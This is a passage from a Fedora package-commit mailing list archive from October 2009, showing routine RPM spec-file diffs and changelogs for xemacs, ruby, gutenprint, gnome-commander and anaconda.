@@ -49,7 +50,10 @@ Patch5:         %{name}-21.5.25-wnnfix-1
 Patch6:         %{name}-21.5.29-no-xft.patch
 # Applied upstream 2009-09-23
 Patch7:         %{name}-21.5.29-png.patch
+Patch8:         %{name}-21.5.28-courier-default.patch
 Patch9:         %{name}-21.5.29-destdir.patch
+# Sent upstream 2009-10-28
+Patch10:        %{name}-21.5.29-tty-font-512623.patch
 # Sent upstream 2009-03-12
 Patch14:        %{name}-beta-infodir.patch
 
@@ -80,6 +84,7 @@ BuildRequires:  xmkmf
 BuildRequires:  libXau-devel
 BuildRequires:  libXpm-devel
 BuildRequires:  alsa-lib-devel
+BuildRequires:  gmp-devel
 %if %{with gtk}
 BuildRequires:  gtk+-devel
 BuildRequires:  libglade-devel
@@ -154,6 +159,9 @@ This package contains XEmacs built witho
 Summary:        Emacs lisp source files for XEmacs
 Group:          Development/Libraries
 Requires:       %{name}-common = %{version}-%{release}
+%if 0%{?fedora} >= 10
+BuildArch:      noarch
+%endif
 
 %description    el
 XEmacs is a highly customizable open source text editor and
@@ -218,7 +226,9 @@ touch -r aclocal.m4-stamp aclocal.m4
 %patch6 -p1
 %endif
 %patch7 -p1
+%patch8 -p1
 %patch9 -p1
+%patch10 -p1
 %patch14 -p1
 
 sed -i -e 's/"lib"/"%{_lib}"/' lisp/setup-paths.el
@@ -269,6 +279,7 @@ common_options="
 %endif
     --with-debug
     --with-error-checking=none
+    --enable-bignum=gmp
 "
 
 %if %{with nox}
@@ -294,6 +305,7 @@ done
 # build with X
 %configure $common_options \
     --with-docdir=%{_libdir}/xemacs-%{xver}/doc \
+    --with-sound=nonative,alsa \
 %if %{with xft}
     --with-xft=all \
 %else
@@ -336,7 +348,7 @@ Cflags: -I${includedir}
 EOF
 
 cat > macros.xemacs << EOF
-%%_xemacs_version %{version}
+%%_xemacs_version %{majver}
 %%_xemacs_ev %{?epoch:%{epoch}:}%{version}
 %%_xemacs_evr %{?epoch:%{epoch}:}%{version}-%{release}
 %%_xemacs_sitepkgdir %{_datadir}/xemacs/site-packages
@@ -411,6 +423,7 @@ install -Dpm 644 macros.xemacs $RPM_BUIL
 
 # make sure nothing is 0400
 chmod -R a+rX $RPM_BUILD_ROOT%{_prefix}
+chmod a+x $RPM_BUILD_ROOT%{_datadir}/xemacs-%{xver}%{_sysconfdir}/xemacs-fe.sh
 
 # clean up unneeded stuff (TODO: there's probably much more)
 find $RPM_BUILD_ROOT%{_prefix} -name "*~" | xargs -r rm
@@ -579,6 +592,13 @@ fi
 
 
 %changelog
+* Wed Oct 28 2009 Jerry James <loganjerry at gmail.com> - 21.5.29-6
+- Bring back the courier font patch; that was a red herring.
+- Really, seriously fix bz 512623 with a TTY font patch.
+- Fix the version number in macros.xemacs.
+- Build with bignum support.
+- Turn off OSS support.
+
 * Wed Sep 23 2009 Jerry James <loganjerry at gmail.com> - 21.5.29-5
 - Final fix for bz 512623, which is actually two bugs, because ...
 - ... the courier font patch breaks TTY font detection.  Removed that patch



From mtasaka at fedoraproject.org  Thu Oct 29 16:39:35 2009
From: mtasaka at fedoraproject.org (Mamoru Tasaka)
Date: Thu, 29 Oct 2009 16:39:35 +0000 (UTC)
Subject: rpms/ruby/F-12 ruby.spec,1.143,1.144
Message-ID: <20091029163936.C717311C00E8@cvs1.fedora.phx.redhat.com>

Author: mtasaka

Update of /cvs/extras/rpms/ruby/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv30750/F-12

Modified Files:
	ruby.spec 
Log Message:
* Thu Oct 29 2009 Mamoru Tasaka <mtasaka at ioa.s.u-tokyo.ac.jp> - 1.8.6.383-4
- Use bison to regenerate parse.c to keep the original format of error
  messages (bug 530275 comment 4)



Index: ruby.spec
===================================================================
RCS file: /cvs/extras/rpms/ruby/F-12/ruby.spec,v
retrieving revision 1.143
retrieving revision 1.144
diff -u -p -r1.143 -r1.144
--- ruby.spec	25 Oct 2009 15:08:28 -0000	1.143
+++ ruby.spec	29 Oct 2009 16:39:31 -0000	1.144
@@ -16,7 +16,7 @@
 
 Name:		ruby
 Version:	%{rubyver}%{?dotpatchlevel}
-Release:	3%{?dist}
+Release:	4%{?dist}
 License:	Ruby or GPLv2
 URL:		http://www.ruby-lang.org/
 BuildRoot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
@@ -26,6 +26,8 @@ BuildRequires:  compat-readline5-devel
 BuildRequires:	readline readline-devel
 %endif
 BuildRequires:  ncurses ncurses-devel gdbm gdbm-devel glibc-devel tcl-devel tk-devel libX11-devel autoconf gcc unzip openssl-devel db4-devel byacc
+# Use bison to recreate parse.c (ref: bug 530275 comment 4)
+BuildRequires:	bison
 BuildRequires:	emacs
 
 Source0:	ftp://ftp.ruby-lang.org/pub/%{name}/%{rubyxver}/%{name}-%{arcver}.tar.bz2
@@ -551,6 +553,10 @@ rm -rf $RPM_BUILD_ROOT
 %{_emacs_sitestartdir}/ruby-mode-init.el
 
 %changelog
+* Thu Oct 29 2009 Mamoru Tasaka <mtasaka at ioa.s.u-tokyo.ac.jp> - 1.8.6.383-4
+- Use bison to regenerate parse.c to keep the original format of error
+  messages (bug 530275 comment 4)
+
 * Sun Oct 25 2009 Mamoru Tasaka <mtasaka at ioa.s.u-tokyo.ac.jp> - 1.8.6.383-3
 - Patch so that irb saves its history (bug 518584, ruby issue 1556)
 



From mtasaka at fedoraproject.org  Thu Oct 29 16:39:35 2009
From: mtasaka at fedoraproject.org (Mamoru Tasaka)
Date: Thu, 29 Oct 2009 16:39:35 +0000 (UTC)
Subject: rpms/ruby/devel ruby.spec,1.143,1.144
Message-ID: <20091029163936.C70A811C008B@cvs1.fedora.phx.redhat.com>

Author: mtasaka

Update of /cvs/extras/rpms/ruby/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv30750/devel

Modified Files:
	ruby.spec 
Log Message:
* Thu Oct 29 2009 Mamoru Tasaka <mtasaka at ioa.s.u-tokyo.ac.jp> - 1.8.6.383-4
- Use bison to regenerate parse.c to keep the original format of error
  messages (bug 530275 comment 4)



Index: ruby.spec
===================================================================
RCS file: /cvs/extras/rpms/ruby/devel/ruby.spec,v
retrieving revision 1.143
retrieving revision 1.144
diff -u -p -r1.143 -r1.144
--- ruby.spec	25 Oct 2009 15:08:29 -0000	1.143
+++ ruby.spec	29 Oct 2009 16:39:34 -0000	1.144
@@ -16,7 +16,7 @@
 
 Name:		ruby
 Version:	%{rubyver}%{?dotpatchlevel}
-Release:	3%{?dist}
+Release:	4%{?dist}
 License:	Ruby or GPLv2
 URL:		http://www.ruby-lang.org/
 BuildRoot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
@@ -26,6 +26,8 @@ BuildRequires:  compat-readline5-devel
 BuildRequires:	readline readline-devel
 %endif
 BuildRequires:  ncurses ncurses-devel gdbm gdbm-devel glibc-devel tcl-devel tk-devel libX11-devel autoconf gcc unzip openssl-devel db4-devel byacc
+# Use bison to recreate parse.c (ref: bug 530275 comment 4)
+BuildRequires:	bison
 BuildRequires:	emacs
 
 Source0:	ftp://ftp.ruby-lang.org/pub/%{name}/%{rubyxver}/%{name}-%{arcver}.tar.bz2
@@ -551,6 +553,10 @@ rm -rf $RPM_BUILD_ROOT
 %{_emacs_sitestartdir}/ruby-mode-init.el
 
 %changelog
+* Thu Oct 29 2009 Mamoru Tasaka <mtasaka at ioa.s.u-tokyo.ac.jp> - 1.8.6.383-4
+- Use bison to regenerate parse.c to keep the original format of error
+  messages (bug 530275 comment 4)
+
 * Sun Oct 25 2009 Mamoru Tasaka <mtasaka at ioa.s.u-tokyo.ac.jp> - 1.8.6.383-3
 - Patch so that irb saves its history (bug 518584, ruby issue 1556)
 



From twaugh at fedoraproject.org  Thu Oct 29 16:45:25 2009
From: twaugh at fedoraproject.org (Tim Waugh)
Date: Thu, 29 Oct 2009 16:45:25 +0000 (UTC)
Subject: rpms/gutenprint/F-12 gutenprint-brother-hl-2040.patch, NONE,
	1.1 gutenprint.spec, 1.57, 1.58
Message-ID: <20091029164525.393F711C00EF@cvs1.fedora.phx.redhat.com>

Author: twaugh

Update of /cvs/pkgs/rpms/gutenprint/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv4685

Modified Files:
	gutenprint.spec 
Added Files:
	gutenprint-brother-hl-2040.patch 
Log Message:
* Thu Oct 29 2009 Tim Waugh <twaugh at redhat.com> 5.2.4-7
- Removed incorrect Device ID for Brother HL-2060 (bug #531370).


gutenprint-brother-hl-2040.patch:
 printers.xml |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

--- NEW FILE gutenprint-brother-hl-2040.patch ---
diff -up gutenprint-5.2.4/src/xml/printers.xml.brother-hl-2040 gutenprint-5.2.4/src/xml/printers.xml
--- gutenprint-5.2.4/src/xml/printers.xml.brother-hl-2040	2009-10-28 11:32:31.144140897 +0000
+++ gutenprint-5.2.4/src/xml/printers.xml	2009-10-28 11:33:08.490015268 +0000
@@ -635,7 +635,7 @@
       <printer translate="name" name="Brother HL-1670N" driver="brother-hl-1670n" manufacturer="Brother" model="6" parameters="pcl_laser_params" />
       <printer translate="name" name="Brother HL-1850" driver="brother-hl-1850" manufacturer="Brother" model="6" parameters="pcl_laser_params" />
       <printer translate="name" name="Brother HL-1870N" driver="brother-hl-1870n" manufacturer="Brother" model="6" parameters="pcl_laser_params" />
-      <printer translate="name" name="Brother HL-2060" deviceid="MFG:Brother;MDL:HL-2040 series;DES:None;CMD:PJL,HBP;" driver="brother-hl-2060" manufacturer="Brother" model="6" parameters="pcl_laser_params" />
+      <printer translate="name" name="Brother HL-2060" driver="brother-hl-2060" manufacturer="Brother" model="6" parameters="pcl_laser_params" />
       <printer translate="name" name="Brother HL-2460" deviceid="MFG:Brother;MDL:Brother HL-2460 series;" driver="brother-hl-2460" manufacturer="Brother" model="6" parameters="pcl_laser_params" />
       <printer translate="name" name="Brother HL-2460N" driver="brother-hl-2460n" manufacturer="Brother" model="6" parameters="pcl_laser_params" />
       <printer translate="name" name="Brother HL-4Ve" driver="brother-hl-4ve" manufacturer="Brother" model="2" parameters="pcl_laser_params" />


Index: gutenprint.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gutenprint/F-12/gutenprint.spec,v
retrieving revision 1.57
retrieving revision 1.58
diff -u -p -r1.57 -r1.58
--- gutenprint.spec	28 Sep 2009 16:53:26 -0000	1.57
+++ gutenprint.spec	29 Oct 2009 16:45:24 -0000	1.58
@@ -4,7 +4,7 @@
 Name:           gutenprint
 Summary:        Printer Drivers Package.
 Version:        5.2.4
-Release:        6%{?dist}
+Release:        7%{?dist}
 Group:          System Environment/Base
 URL:            http://gimp-print.sourceforge.net/
 Source0:        http://dl.sf.net/gimp-print/gutenprint-%{version}.tar.bz2
@@ -14,6 +14,7 @@ Patch0:         gutenprint-menu.patch
 Patch1:         gutenprint-O6.patch
 Patch2:         gutenprint-selinux.patch
 Patch3:         gutenprint-deviceid.patch
+Patch4:         gutenprint-brother-hl-2040.patch
 License:        GPLv2+
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 BuildRequires:  cups-libs >= 1.1.22-0.rc1.9.10, cups >= 1.1.22-0.rc1.9.10 
@@ -139,6 +140,7 @@ Epson, HP and compatible printers.
 %patch1 -p1 -b .O6
 %patch2 -p1 -b .selinux
 %patch3 -p1 -b .deviceid
+%patch4 -p1 -b .brother-hl-2040
 
 cp %{SOURCE2} src/cups/cups-genppdupdate.in
 
@@ -267,6 +269,9 @@ fi
 /bin/rm -f /var/cache/foomatic/*
 
 %changelog
+* Thu Oct 29 2009 Tim Waugh <twaugh at redhat.com> 5.2.4-7
+- Removed incorrect Device ID for Brother HL-2060 (bug #531370).
+
 * Mon Sep 28 2009 Tim Waugh <twaugh at redhat.com> 5.2.4-6
 - Reimplemented PPD upgrade script in Python to avoid perl
   dependency (bug #524978).



From twaugh at fedoraproject.org  Thu Oct 29 16:46:22 2009
From: twaugh at fedoraproject.org (Tim Waugh)
Date: Thu, 29 Oct 2009 16:46:22 +0000 (UTC)
Subject: rpms/gutenprint/devel gutenprint-brother-hl-2040.patch, NONE,
	1.1 gutenprint.spec, 1.57, 1.58
Message-ID: <20091029164622.61AA811C02BB@cvs1.fedora.phx.redhat.com>

Author: twaugh

Update of /cvs/pkgs/rpms/gutenprint/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv10447

Modified Files:
	gutenprint.spec 
Added Files:
	gutenprint-brother-hl-2040.patch 
Log Message:
* Thu Oct 29 2009 Tim Waugh <twaugh at redhat.com> 5.2.4-7
- Removed incorrect Device ID for Brother HL-2060 (bug #531370).


gutenprint-brother-hl-2040.patch:
 printers.xml |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

--- NEW FILE gutenprint-brother-hl-2040.patch ---
diff -up gutenprint-5.2.4/src/xml/printers.xml.brother-hl-2040 gutenprint-5.2.4/src/xml/printers.xml
--- gutenprint-5.2.4/src/xml/printers.xml.brother-hl-2040	2009-10-28 11:32:31.144140897 +0000
+++ gutenprint-5.2.4/src/xml/printers.xml	2009-10-28 11:33:08.490015268 +0000
@@ -635,7 +635,7 @@
       <printer translate="name" name="Brother HL-1670N" driver="brother-hl-1670n" manufacturer="Brother" model="6" parameters="pcl_laser_params" />
       <printer translate="name" name="Brother HL-1850" driver="brother-hl-1850" manufacturer="Brother" model="6" parameters="pcl_laser_params" />
       <printer translate="name" name="Brother HL-1870N" driver="brother-hl-1870n" manufacturer="Brother" model="6" parameters="pcl_laser_params" />
-      <printer translate="name" name="Brother HL-2060" deviceid="MFG:Brother;MDL:HL-2040 series;DES:None;CMD:PJL,HBP;" driver="brother-hl-2060" manufacturer="Brother" model="6" parameters="pcl_laser_params" />
+      <printer translate="name" name="Brother HL-2060" driver="brother-hl-2060" manufacturer="Brother" model="6" parameters="pcl_laser_params" />
       <printer translate="name" name="Brother HL-2460" deviceid="MFG:Brother;MDL:Brother HL-2460 series;" driver="brother-hl-2460" manufacturer="Brother" model="6" parameters="pcl_laser_params" />
       <printer translate="name" name="Brother HL-2460N" driver="brother-hl-2460n" manufacturer="Brother" model="6" parameters="pcl_laser_params" />
       <printer translate="name" name="Brother HL-4Ve" driver="brother-hl-4ve" manufacturer="Brother" model="2" parameters="pcl_laser_params" />


Index: gutenprint.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gutenprint/devel/gutenprint.spec,v
retrieving revision 1.57
retrieving revision 1.58
diff -u -p -r1.57 -r1.58
--- gutenprint.spec	28 Sep 2009 16:53:26 -0000	1.57
+++ gutenprint.spec	29 Oct 2009 16:46:22 -0000	1.58
@@ -4,7 +4,7 @@
 Name:           gutenprint
 Summary:        Printer Drivers Package.
 Version:        5.2.4
-Release:        6%{?dist}
+Release:        7%{?dist}
 Group:          System Environment/Base
 URL:            http://gimp-print.sourceforge.net/
 Source0:        http://dl.sf.net/gimp-print/gutenprint-%{version}.tar.bz2
@@ -14,6 +14,7 @@ Patch0:         gutenprint-menu.patch
 Patch1:         gutenprint-O6.patch
 Patch2:         gutenprint-selinux.patch
 Patch3:         gutenprint-deviceid.patch
+Patch4:         gutenprint-brother-hl-2040.patch
 License:        GPLv2+
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 BuildRequires:  cups-libs >= 1.1.22-0.rc1.9.10, cups >= 1.1.22-0.rc1.9.10 
@@ -139,6 +140,7 @@ Epson, HP and compatible printers.
 %patch1 -p1 -b .O6
 %patch2 -p1 -b .selinux
 %patch3 -p1 -b .deviceid
+%patch4 -p1 -b .brother-hl-2040
 
 cp %{SOURCE2} src/cups/cups-genppdupdate.in
 
@@ -267,6 +269,9 @@ fi
 /bin/rm -f /var/cache/foomatic/*
 
 %changelog
+* Thu Oct 29 2009 Tim Waugh <twaugh at redhat.com> 5.2.4-7
+- Removed incorrect Device ID for Brother HL-2060 (bug #531370).
+
 * Mon Sep 28 2009 Tim Waugh <twaugh at redhat.com> 5.2.4-6
 - Reimplemented PPD upgrade script in Python to avoid perl
   dependency (bug #524978).



From mtasaka at fedoraproject.org  Thu Oct 29 16:48:23 2009
From: mtasaka at fedoraproject.org (Mamoru Tasaka)
Date: Thu, 29 Oct 2009 16:48:23 +0000 (UTC)
Subject: rpms/gnome-commander/F-10 .cvsignore, 1.13,
	1.14 gnome-commander.spec, 1.30, 1.31 sources, 1.13, 1.14
Message-ID: <20091029164823.CBDBB11C02A3@cvs1.fedora.phx.redhat.com>

Author: mtasaka

Update of /cvs/extras/rpms/gnome-commander/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv30230/F-10

Modified Files:
	.cvsignore gnome-commander.spec sources 
Log Message:
* Fri Oct 30 2009 Mamoru Tasaka <mtasaka at ioa.s.u-tokyo.ac.jp> - 1.2.8.3-1
- 1.2.8.3



Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/gnome-commander/F-10/.cvsignore,v
retrieving revision 1.13
retrieving revision 1.14
diff -u -p -r1.13 -r1.14
--- .cvsignore	23 Sep 2009 08:52:17 -0000	1.13
+++ .cvsignore	29 Oct 2009 16:48:23 -0000	1.14
@@ -1 +1 @@
-gnome-commander-1.2.8.2.tar.bz2
+gnome-commander-1.2.8.3.tar.bz2


Index: gnome-commander.spec
===================================================================
RCS file: /cvs/extras/rpms/gnome-commander/F-10/gnome-commander.spec,v
retrieving revision 1.30
retrieving revision 1.31
diff -u -p -r1.30 -r1.31
--- gnome-commander.spec	23 Sep 2009 08:52:17 -0000	1.30
+++ gnome-commander.spec	29 Oct 2009 16:48:23 -0000	1.31
@@ -32,7 +32,7 @@
 %define        fedora_rel            %( [ 0%{?if_pre} -gt 0 ] && echo 0. )%{main_release}%{?extratag:.%extratag}
 
 Name:          gnome-commander
-Version:       1.2.8.2
+Version:       1.2.8.3
 Release:       %{fedora_rel}%{?dist}
 Summary:       A nice and fast file manager for the GNOME desktop
 Summary(pl):   Menad?er plik?w dla GNOME oparty o Norton Commander'a (TM)
@@ -227,6 +227,9 @@ scrollkeeper-update -q || :
 %{_datadir}/pixmaps/%{name}/
 
 %changelog
+* Fri Oct 30 2009 Mamoru Tasaka <mtasaka at ioa.s.u-tokyo.ac.jp> - 1.2.8.3-1
+- 1.2.8.3
+
 * Wed Sep 23 2009 Mamoru Tasaka <mtasaka at ioa.s.u-tokyo.ac.jp> - 1.2.8.2-1
 - 1.2.8.2
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/gnome-commander/F-10/sources,v
retrieving revision 1.13
retrieving revision 1.14
diff -u -p -r1.13 -r1.14
--- sources	23 Sep 2009 08:52:17 -0000	1.13
+++ sources	29 Oct 2009 16:48:23 -0000	1.14
@@ -1 +1 @@
-8b390fc2de41aee522a444e78b1feb4f  gnome-commander-1.2.8.2.tar.bz2
+68bbc1a4a642376e47e6c6e3b3a291b2  gnome-commander-1.2.8.3.tar.bz2



From mtasaka at fedoraproject.org  Thu Oct 29 16:48:23 2009
From: mtasaka at fedoraproject.org (Mamoru Tasaka)
Date: Thu, 29 Oct 2009 16:48:23 +0000 (UTC)
Subject: rpms/gnome-commander/F-11 .cvsignore, 1.38,
	1.39 gnome-commander.spec, 1.63, 1.64 sources, 1.38, 1.39
Message-ID: <20091029164823.F1E8311C02A3@cvs1.fedora.phx.redhat.com>

Author: mtasaka

Update of /cvs/extras/rpms/gnome-commander/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv30230/F-11

Modified Files:
	.cvsignore gnome-commander.spec sources 
Log Message:
* Fri Oct 30 2009 Mamoru Tasaka <mtasaka at ioa.s.u-tokyo.ac.jp> - 1.2.8.3-1
- 1.2.8.3



Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/gnome-commander/F-11/.cvsignore,v
retrieving revision 1.38
retrieving revision 1.39
diff -u -p -r1.38 -r1.39
--- .cvsignore	23 Sep 2009 08:52:25 -0000	1.38
+++ .cvsignore	29 Oct 2009 16:48:23 -0000	1.39
@@ -1 +1 @@
-gnome-commander-1.2.8.2.tar.bz2
+gnome-commander-1.2.8.3.tar.bz2


Index: gnome-commander.spec
===================================================================
RCS file: /cvs/extras/rpms/gnome-commander/F-11/gnome-commander.spec,v
retrieving revision 1.63
retrieving revision 1.64
diff -u -p -r1.63 -r1.64
--- gnome-commander.spec	23 Sep 2009 08:52:27 -0000	1.63
+++ gnome-commander.spec	29 Oct 2009 16:48:23 -0000	1.64
@@ -32,7 +32,7 @@
 %define        fedora_rel            %( [ 0%{?if_pre} -gt 0 ] && echo 0. )%{main_release}%{?extratag:.%extratag}
 
 Name:          gnome-commander
-Version:       1.2.8.2
+Version:       1.2.8.3
 Release:       %{fedora_rel}%{?dist}
 Summary:       A nice and fast file manager for the GNOME desktop
 Summary(pl):   Menad?er plik?w dla GNOME oparty o Norton Commander'a (TM)
@@ -227,6 +227,9 @@ scrollkeeper-update -q || :
 %{_datadir}/pixmaps/%{name}/
 
 %changelog
+* Fri Oct 30 2009 Mamoru Tasaka <mtasaka at ioa.s.u-tokyo.ac.jp> - 1.2.8.3-1
+- 1.2.8.3
+
 * Wed Sep 23 2009 Mamoru Tasaka <mtasaka at ioa.s.u-tokyo.ac.jp> - 1.2.8.2-1
 - 1.2.8.2
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/gnome-commander/F-11/sources,v
retrieving revision 1.38
retrieving revision 1.39
diff -u -p -r1.38 -r1.39
--- sources	23 Sep 2009 08:52:27 -0000	1.38
+++ sources	29 Oct 2009 16:48:23 -0000	1.39
@@ -1 +1 @@
-8b390fc2de41aee522a444e78b1feb4f  gnome-commander-1.2.8.2.tar.bz2
+68bbc1a4a642376e47e6c6e3b3a291b2  gnome-commander-1.2.8.3.tar.bz2



From clumens at fedoraproject.org  Thu Oct 29 16:55:56 2009
From: clumens at fedoraproject.org (Christopher Edward Lumens)
Date: Thu, 29 Oct 2009 16:55:56 +0000 (UTC)
Subject: rpms/anaconda/devel .cvsignore, 1.681, 1.682 anaconda.spec, 1.831, 
	1.832 sources, 1.815, 1.816
Message-ID: <20091029165556.632AA11C02A3@cvs1.fedora.phx.redhat.com>

Author: clumens

Update of /cvs/pkgs/rpms/anaconda/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv15395

Modified Files:
	.cvsignore anaconda.spec sources 
Log Message:
New version.



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/anaconda/devel/.cvsignore,v
retrieving revision 1.681
retrieving revision 1.682
diff -u -p -r1.681 -r1.682
--- .cvsignore	14 Oct 2009 00:58:50 -0000	1.681
+++ .cvsignore	29 Oct 2009 16:55:55 -0000	1.682
@@ -1 +1,2 @@
 anaconda-13.6.tar.bz2
+anaconda-13.7.tar.bz2


Index: anaconda.spec
===================================================================
RCS file: /cvs/pkgs/rpms/anaconda/devel/anaconda.spec,v
retrieving revision 1.831
retrieving revision 1.832
diff -u -p -r1.831 -r1.832
--- anaconda.spec	14 Oct 2009 00:58:50 -0000	1.831
+++ anaconda.spec	29 Oct 2009 16:55:56 -0000	1.832
@@ -3,7 +3,7 @@
 
 Summary: Graphical system installer
 Name:    anaconda
-Version: 13.6
+Version: 13.7
 Release: 1%{?dist}
 License: GPLv2+
 Group:   Applications/System
@@ -218,6 +218,79 @@ update-desktop-database &> /dev/null || 
 %endif
 
 %changelog
+* Thu Oct 29 2009 Chris Lumens <clumens at redhat.com> - 13.7-1
+- TypeError: '_ped.DiskType' object is not callable (#531730) (hdegoede)
+- Fix upgrade of GRUB with md raid boot for versions F11 and earlier.
+  (rvykydal)
+- Remove another code duplication in grub upgrade code. (rvykydal)
+- Remove code duplication, use fixed code from writeGrub. (rvykydal)
+- Remove target parameter from grub installation code - it is no more
+  needed. (rvykydal)
+- Remove support for IUCV networking devices on s390. (#531494) (dcantrell)
+- Find and format any unformatted DASD devices (#528386). (dcantrell)
+- Improve detailedMessageWindow() in text.py. (dcantrell)
+- Create execWithCallback() function in iutil. (dcantrell)
+- preexist -> onPart (#531407). (clumens)
+- Add sshd support for non-s390 platforms. (pjones)
+- When doing initlabel on a dasd disk create a dasd disklabel (#531209)
+  (hdegoede)
+- Rename platform.diskType to platform.diskLabelType (hdegoede)
+- Fix arrow key cycling in the Edit Partition dialog (#519641). (clumens)
+- Provide a single checkbox for a minimal install (#523839). (clumens)
+- Fix DASD and zFCP device discovery (#530287). (dcantrell)
+- Clarify the shrink target message (#530789). (clumens)
+- Re-enable running udevadm. (clumens)
+- max_logical -> max_logicals (#530786). (clumens)
+- Filter out device-mapper devices when doing a udev_trigger. (dlehman)
+- Expand udev_trigger to allow attr filtering and action specification.
+  (dlehman)
+- More udev fixups for device-mapper and cryptsetup temp devices. (#526699)
+  (dlehman)
+- Add the bcm5974 kernel module needed for some touchpads (#474225).
+  (clumens)
+- /boot is already being checked by the superclass, so don't check again.
+  (clumens)
+- Allow /boot to be on a variety of filesystems during kickstart (#529846).
+  (clumens)
+- Platform.bootloaderPackage -> Platform.packages (clumens)
+- Bootloader choice strings were marked with N_, but never translated
+  (#530017). (clumens)
+- Handle more than x.y version numbers in 'make bumpver'. (dcantrell)
+- Mark live device as protected instead of ignoring it. (#517260) (dlehman)
+- Don't force logical with a free primary slot and an extended. (#527952)
+  (dlehman)
+- Use rpm to determine how to set bootloader args and default runlevel
+  (#527520). (clumens)
+- Improve message given to user for fsck failures (#527626). (dcantrell)
+- 'Packages completed' string should use P_() instead of N_(). (dcantrell)
+- Reintegrate reipl to trigger reboot/halt on s390x correctly. (#528380)
+  (maier)
+- Put the icon back on the Back button on livecd installs (#526925).
+  (clumens)
+- Make LOADER_FLAGS_NOSHELL default also for s390x not just s390 (#527063)
+  (maier)
+- Adapt standalone shutdown to nokill changes so s390x can use it. (#528380)
+  (maier)
+- Add dracutSetupData() method to DASDDevice (#526354). (dcantrell)
+- Collect DASD kernel parameter information during device tree scan
+  (#526354). (dcantrell)
+- Add dracutSetupString() method to ZFCPDiskDevice (#526354). (dcantrell)
+- Write LAYER2 and PORTNO correctly as parts of OPTIONS to ifcfg for s390x
+  (maier)
+- Don't set unnecessary multipath defaults. (pjones)
+- Add a "File Bug" button to all possibilitys in turnOnFilesystems
+  (#528006). (clumens)
+- For cmdline mode, add the long text to what messageWindow will print
+  (#528006). (clumens)
+- Use /dev/mapper/live-osimg-min instead of the old device node name
+  (#526789). (clumens)
+- Remove double slash from nfs:// ks repo value for use in UI. (rvykydal)
+- Make bootLoaderInfo new-style class, so that its properties work
+  correctly. (rvykydal)
+- liveinst: deactivate mdraid arrays before running liveinst (#528235)
+  (hdegoede)
+- Set parted filesystemtype for swap partitions (hdegoede)
+
 * Tue Oct 13 2009 David Cantrell <dcantrell at redhat.com> - 13.6-1
 - BR system-config-keyboard (dcantrell)
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/anaconda/devel/sources,v
retrieving revision 1.815
retrieving revision 1.816
diff -u -p -r1.815 -r1.816
--- sources	14 Oct 2009 00:58:50 -0000	1.815
+++ sources	29 Oct 2009 16:55:56 -0000	1.816
@@ -1 +1 @@
-993397f93dfa7aaff4da8e7e065fb7a5  anaconda-13.6.tar.bz2
+f9d747f77506b30201c44b2670d84d5c  anaconda-13.7.tar.bz2



From jjames at fedoraproject.org  Thu Oct 29 17:00:40 2009
From: jjames at fedoraproject.org (Jerry James)
Date: Thu, 29 Oct 2009 17:00:40 +0000 (UTC)
Subject: rpms/xemacs/F-11 xemacs.spec,1.52,1.53
Message-ID: <20091029170040.C3F2811C02A3@cvs1.fedora.phx.redhat.com>

Author: jjames

Update of /cvs/pkgs/rpms/xemacs/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv16582/F-11

Modified Files:
	xemacs.spec 
Log Message:
The -el subpackage ought to be noarch, but the auto-autoloads.el file contains
the build host name and a timestamp.  Real fix coming later...



Index: xemacs.spec
===================================================================
RCS file: /cvs/pkgs/rpms/xemacs/F-11/xemacs.spec,v
retrieving revision 1.52
retrieving revision 1.53
diff -u -p -r1.52 -r1.53
--- xemacs.spec	29 Oct 2009 16:34:30 -0000	1.52
+++ xemacs.spec	29 Oct 2009 17:00:40 -0000	1.53
@@ -159,9 +159,6 @@ This package contains XEmacs built witho
 Summary:        Emacs lisp source files for XEmacs
 Group:          Development/Libraries
 Requires:       %{name}-common = %{version}-%{release}
-%if 0%{?fedora} >= 10
-BuildArch:      noarch
-%endif
 
 %description    el
 XEmacs is a highly customizable open source text editor and



From jjames at fedoraproject.org  Thu Oct 29 17:00:40 2009
From: jjames at fedoraproject.org (Jerry James)
Date: Thu, 29 Oct 2009 17:00:40 +0000 (UTC)
Subject: rpms/xemacs/F-12 xemacs.spec,1.54,1.55
Message-ID: <20091029170040.CF2AA11C02BB@cvs1.fedora.phx.redhat.com>

Author: jjames

Update of /cvs/pkgs/rpms/xemacs/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv16582/F-12

Modified Files:
	xemacs.spec 
Log Message:
The -el subpackage ought to be noarch, but the auto-autoloads.el file contains
the build host name and a timestamp.  Real fix coming later...



Index: xemacs.spec
===================================================================
RCS file: /cvs/pkgs/rpms/xemacs/F-12/xemacs.spec,v
retrieving revision 1.54
retrieving revision 1.55
diff -u -p -r1.54 -r1.55
--- xemacs.spec	29 Oct 2009 16:34:31 -0000	1.54
+++ xemacs.spec	29 Oct 2009 17:00:40 -0000	1.55
@@ -159,9 +159,6 @@ This package contains XEmacs built witho
 Summary:        Emacs lisp source files for XEmacs
 Group:          Development/Libraries
 Requires:       %{name}-common = %{version}-%{release}
-%if 0%{?fedora} >= 10
-BuildArch:      noarch
-%endif
 
 %description    el
 XEmacs is a highly customizable open source text editor and



